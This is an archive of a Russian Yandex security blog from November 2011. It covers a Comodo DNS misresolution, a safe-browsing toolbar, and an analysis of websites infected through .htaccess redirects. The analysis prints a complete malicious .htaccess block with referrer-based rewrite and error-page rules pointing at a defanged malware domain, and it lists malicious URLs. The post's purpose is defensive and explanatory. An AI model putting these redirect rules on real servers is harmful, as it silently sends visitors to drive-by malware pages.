Блог о безопасности

ноябрь 2011
Comodo Secure DNS возвращает неверные ip-адреса для yandex.ru и mail.ru
3 ноября 2011, 20:33

С 26.10.2011 по 07.11.2011 серверы Comodo Secure DNS при запросе ip-адреса yandex.ru возвращали 174.129.145.134. Этот ip-адрес не имеет отношения к Яндексу и по информации сервиса whois принадлежит диапазону адресов «облака» компании Amazon. Такой же адрес возвращается при попытке получить ip-адрес для mail.ru .

Вредоносный код нередко распространяется с помощью подмены обычных сайтов заражёнными. Но обычно эта подмена выполняется либо на стороне клиента (изменение файла hosts, подмена DNS в реестре и т.д.), либо на стороне веб-сервера (взлом и размещение на нём кода для перенаправления пользователей). Взлом DNS-серверов и подмену на них A-записей злоумышленники применяют существенно реже.

Как должен определяться адрес Яндекса:

nslookup yandex.ru
<…>
Addresses:  213.180.204.11
          77.88.21.11
          87.250.250.11
          87.250.251.11
          93.158.134.11
          213.180.193.11



Как определялся адрес Яндекса в случае использования DNS-серверов компании Comodo:

nslookup yandex.ru 8.20.247.20
<…>
Address:  174.129.145.134

nslookup yandex.ru 8.26.56.26
<…>
Addresses:  174.129.145.134



Яндекс сообщил Comodo о данной проблеме несколько дней назад. Мы написали, как только Comodo её устранил, а до этого момента во избежание заражения компьютера рекомендовали не пользоваться DNS-серверами компании Comodo. Помните также, что защита компьютера должна быть комплексной, и использование надёжного, хорошо защищённого DNS-сервера является её необходимой, но не единственной частью.



Команда безопасного поиска Яндекса

6 комментариев
новости
В настоящее время Comodo Secure DNS возвращает для yandex.ru и mail.ru правильные ip-адреса
7 ноября 2011, 12:08

Проблема, описанная в предыдущем посте, устранена.

Нет комментариев
новости
Интернет без вирусов и фишинга — с новым Яндекс.Баром для Firefox
10 ноября 2011, 16:53

Недавно вышел новый Бар, который подключает Firefox к Safe Browsing API Яндекса. С помощью этого API Firefox получает доступ к базе заражённых и фишинговых страниц, известных Яндексу. И если вы хотите открыть одну из таких страниц, браузер предупредит об опасности:





Нажав на кнопку «Почему эта страница была заблокирована», вы узнаете подробности и сможете просмотреть сохранённую безопасную копию страницы:






Если же вы считаете, что заражённая страница не сможет навредить вашему компьютеру, щёлкните по ссылке «игнорировать это предупреждение». Тогда вы просто перейдёте на заражённую страницу. Мы не рекомендуем это делать, потому что:

  • именно через заражённые страницы распространяются новые вирусы, которые не всегда обнаруживаются обычными антивирусами;
  • от заражения не застрахованы даже известные сайты, которые заботятся о безопасности, — чем больше посещаемость сайта, тем выгоднее злоумышленникам его заражение, и тем больше усилий они готовы приложить;
  • в интернете есть страницы с вредоносным кодом, заражающим Linux и даже Solaris, правда, пока их не очень много.


Яндексу на сегодняшний день известно около 400 тысяч заражённых сайтов. База заражённых страниц постоянно обновляется, среднее время перепроверки сайтов — примерно 12 часов. SB API Яндекса обеспечивает защиту при просмотре сайтов из разных доменных зон. В настоящее время браузерами с SB API Яндекса пользуются более 1.6 миллионов человек. Каждый день им показывается более 700 тысяч предупреждений об опасных сайтах.

В среднем каждая сотая страница в интернете при загрузке пытается выполнить drive-by-download атаку и заразить компьютер пользователя. Так что наличие защиты в браузере — одна из необходимых составляющих безопасной работы в интернете. Установите новый Яндекс.Бар — он обеспечит защиту вашему Firefox и послужит хорошим дополнением к обычному антивирусу.



Команда безопасного поиска Яндекса

3 комментария
запуски
Старые способы заражения, которые продолжают работать
18 ноября 2011, 20:07


Дано

 

  • Веб-сайт заражён.
  • Когда пользователи заходят на сайт – он перенаправляет их на страницу, которая выполняет drive-by-download атаку.
  • Перенаправляет почти всегда, и каждый день на разные страницы.
  • Когда вебмастер заходит на свой сайт, тот его никуда не перенаправляет.
  • Сайт полностью статический: ни клиентских, ни серверных скриптов, ни каких-то других активных элементов на нём нет.

Как же происходит заражение, и что делать, чтобы его устранить и больше не допустить?


Решение

Как вы, наверное, уже догадались, речь идёт о заражении сайта с помощью вредоносного редиректа, настроенного с помощью файла  .htaccess :
  • Он перенаправляет пользователей, потому что они в основном переходят на заражённый сайт по ссылкам из поисковых систем и социальных сетей.
  • Он не перенаправляет вебмастера, потому что тот вводит домен своего сайта в адресную строку браузера.
  • Цель редиректа изменяется, потому что файл .htaccess регулярно переписывает вредоносный серверный скрипт, который находится в директории другого сайта.

.htaccess – далеко не единственный конфигурационный файл, с помощью которого можно сделать сайт частью системы распространения вредоносного кода. Это можно сделать и с помощью других файлов с настройками веб-серверов и интерпретаторов серверных скриптов. В них часто применяются специальные, довольно сложные языки настройки. Ошибка при изменении такого файла может привести к выходу из строя всего веб-сервера, а у вебмастеров не всегда есть права на их чтение и изменение.

В последнее время техника распространения вредоносного ПО с помощью настроенного в .htaccess редиректа на вредоносный сайт снова популярна у злоумышленников.

Чаще всего редирект на страницу, которая производит drive-by-download атаку, происходит только в том случае, когда на заражённый сайт перешли с крупной поисковой системы или социальной сети.

С 31.10.2011 по 03.11.2011 Безопасный Поиск выявил настроенные в .htaccess редиректы на следующие страницы с вредоносным кодом:

h**p://billing-white.ru/cname/index.php?no=324&ida=4973
h**p://ristoncharge.in/meeting/index.php
h**p://telebillactivation.ru/distantion/index.php
h**p://billing-white.ru/cname/index.php
h**p://paybucks.ru/payform/index.php
h**p://payment-glonas.in/position/index.php
h**p://assistantbilling.in/proccess/index.php
h**p://assistant-first.ru/payment/index.php

Чтобы перенаправлять пользователей заражённого сайта, в файл .htaccess добавляются дополнительные правила, например:

ErrorDocument 400 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 401 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 403 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 404 h**p://ristoncharge.in/meeting/index.php
ErrorDocument 500 h**p://ristoncharge.in/meeting/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*ask\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*yahoo\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*baidu\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*youtube\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*qq\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*excite\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*altavista\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*msn\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*netscape\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*aol\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*hotbot\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*goto\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*infoseek\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*mamma\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*lycos\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*search\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*bing\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*dogpile\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*facebook\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*twitter\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*blog\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*live\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*myspace\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*mail\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*yandex\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*rambler\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*ya\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*aport\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*linkedin\.(.*) [OR]
RewriteCond %{HTTP_REFERER} .*flickr\.(.*)
RewriteRule ^(.*)$ h**p://ristoncharge.in/meeting/index.php

Видно, что редирект происходит, если:

  1. При работе с сервером возникли ошибки (сервер получил HTTP-заголовок, который не может обработать; возникла ошибка авторизации; пользователю запрещён доступ к определенным директориям или файлам; произошло обращение к несуществующей странице; произошла внутренняя ошибка сервера). В этом случае заражённый веб-сервер выдаёт пользователю не стандартный ответ, отражающий суть ошибки, а редирект на  h**p://ristoncharge.in/meeting/index.php.

  2. Если на сервере установлен модуль Apache mod_rewrite и пользователь перешёл на заражённый сайт с доменов известных поисковых машин и социальных сетей, название которых содержит: google., ask., yahoo., baidu., youtube., wikipedia., qq., excite., altavista., msn., netscape., aol., hotbot., goto., infoseek., mamma., alltheweb., lycos., search., metacrawler., bing., dogpile., facebook., twitter., blog., live., myspace., mail., yandex., rambler., ya., aport., linkedin., flickr.

Изменения в .htaccess тут же применяются ко всему контенту в директории, в которой он находится, а также в её поддиректориях, и могут одновременно сделать вредоносными все сайты, размещённые на веб-сервере.

Чтобы затруднить обнаружение вредоносного кода веб-мастером, в начало файла .htaccess записывается большое количество пустых строк и символов табуляции:



Чтобы поместить на веб-сервер скрипт-бэкдор и с его помощью записать в .htaccess приведённые выше вредоносные правила, злоумышленники используют уязвимости CMS. В проанализированном примере заражения использовались скрипты с именем вида tmp_2791826179573679.php (где 2791826179573679 — случайный набор цифр), содержащие обфусцированный вредоносный код вида:



Этот скрипт позволяет злоумышленникам не только изменять .htaccess, но и выполнять другие вредоносные действия.

В частности, в среднем раз в сутки он получает с IP-адресов пользователей донецкого провайдера didan.org (например, 31.41.15.4, 31.41.8.59, 31.41.10.183, 31.41.10.157) команды на:
    • изменение файлов .htaccess;
    • доступ к файлам /etc/httpd/conf/httpd.conf и /etc/passwd;
    • поиск и выборочное внедрение в php-файлы бэкдоров и редиректоров, причём таких, чтобы заражённые партнёрские сети, на вредоносные страницы которых производится редирект, могли идентифицировать злоумышленника и выплатить ему гонорар.

Ни один из антивирусов, используемых на VirusTotal.com , на 11.11.2011 не детектировал в таком php-скрипте вредоносный код.

Более того, наличие браузерного вредоносного кода из Blackhole Exploit Pack на вредоносных страницах, на которые происходит редирект, на 11.11.2011 детектировали только 3 антивируса из 43.
 
Ответ

Рекомендации по обнаружению и удалению:
  1. На файлы, находящиеся на веб-сервере, нужно устанавливать такие полномочия, чтобы серверные скрипты не могли изменять их без необходимости.
  2. Следует обращать внимание на php-скрипты со странными именами, а также на скрипты, размещенные в неподходящих местах – например, в каталоге с картинками.
  3. Нужно регулярно проверять содержимое страниц сайта на наличие вредоносного кода при переходе с поисковых выдач.
  4. Увидев пустой файл .htaccess, следует удостовериться, что его размер – 0 байт.
  5. В целом, рекомендации для вебмастеров аналогичны тем, которые приведены здесь.

 



Команда Безопасного Поиска Яндекса

8 комментариев
исследования